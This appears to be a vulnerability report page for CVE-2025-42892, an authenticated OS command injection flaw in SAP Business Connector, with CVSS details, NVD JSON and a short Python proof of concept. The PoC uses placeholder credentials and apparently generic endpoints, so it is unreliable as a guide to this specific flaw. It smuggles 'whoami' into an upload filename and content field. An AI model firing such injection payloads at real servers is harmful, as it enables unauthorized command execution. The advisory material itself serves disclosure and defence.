Security Vulnerability Report
中文
CVE-2025-42892 CVSS 6.8 MEDIUM

CVE-2025-42892

Published: 2025-11-11 01:15:38
Last Modified: 2026-01-16 16:53:40

Description

Due to an OS Command Injection vulnerability in SAP Business Connector, an authenticated attacker with administrative access and adjacent network access could upload specially crafted content to the server. If processed by the application, this content enables execution of arbitrary operating system commands. Successful exploitation could lead to full compromise of the system�s confidentiality, integrity, and availability.

CVSS Details

CVSS Score
6.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:sap:business_connector:4.8:*:*:*:*:*:*:* - VULNERABLE
SAP Business Connector - 所有未修补版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-42892 PoC - SAP Business Connector OS Command Injection # Requires: Valid admin credentials and adjacent network access import requests import sys target = "https://target-server:443" def exploit_cve_2025_42892(): """ SAP Business Connector OS Command Injection PoC Note: This PoC is for educational and authorized testing purposes only """ # Authentication login_url = f"{target}/login" credentials = { "username": "admin", "password": "admin_password" } session = requests.Session() login_response = session.post(login_url, json=credentials) if login_response.status_code != 200: print("[-] Authentication failed") return False print("[+] Authentication successful") # Malicious payload - OS command injection # Inject: whoami command via crafted content upload payload = { "content": "test.txt; whoami > /tmp/cmd_output.txt", "filename": "test$(whoami).txt" } upload_url = f"{target}/api/content/upload" response = session.post(upload_url, json=payload) if response.status_code == 200: print("[+] Payload delivered successfully") print("[*] Check /tmp/cmd_output.txt on target server") return True else: print(f"[-] Exploitation failed: {response.status_code}") return False if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] exploit_cve_2025_42892()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-42892", "sourceIdentifier": "[email protected]", "published": "2025-11-11T01:15:37.990", "lastModified": "2026-01-16T16:53:40.327", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Due to an OS Command Injection vulnerability in SAP Business Connector, an authenticated attacker with administrative access and adjacent network access could upload specially crafted content to the server. If processed by the application, this content enables execution of arbitrary operating system commands. Successful exploitation could lead to full compromise of the system�s confidentiality, integrity, and availability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:sap:business_connector:4.8:*:*:*:*:*:*:*", "matchCriteriaId": "99F0C742-7E03-425D-BCFC-F4683843350F"}]}]}], "references": [{"url": "https://me.sap.com/notes/3665900", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://url.sap/sapsecuritypatchday", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}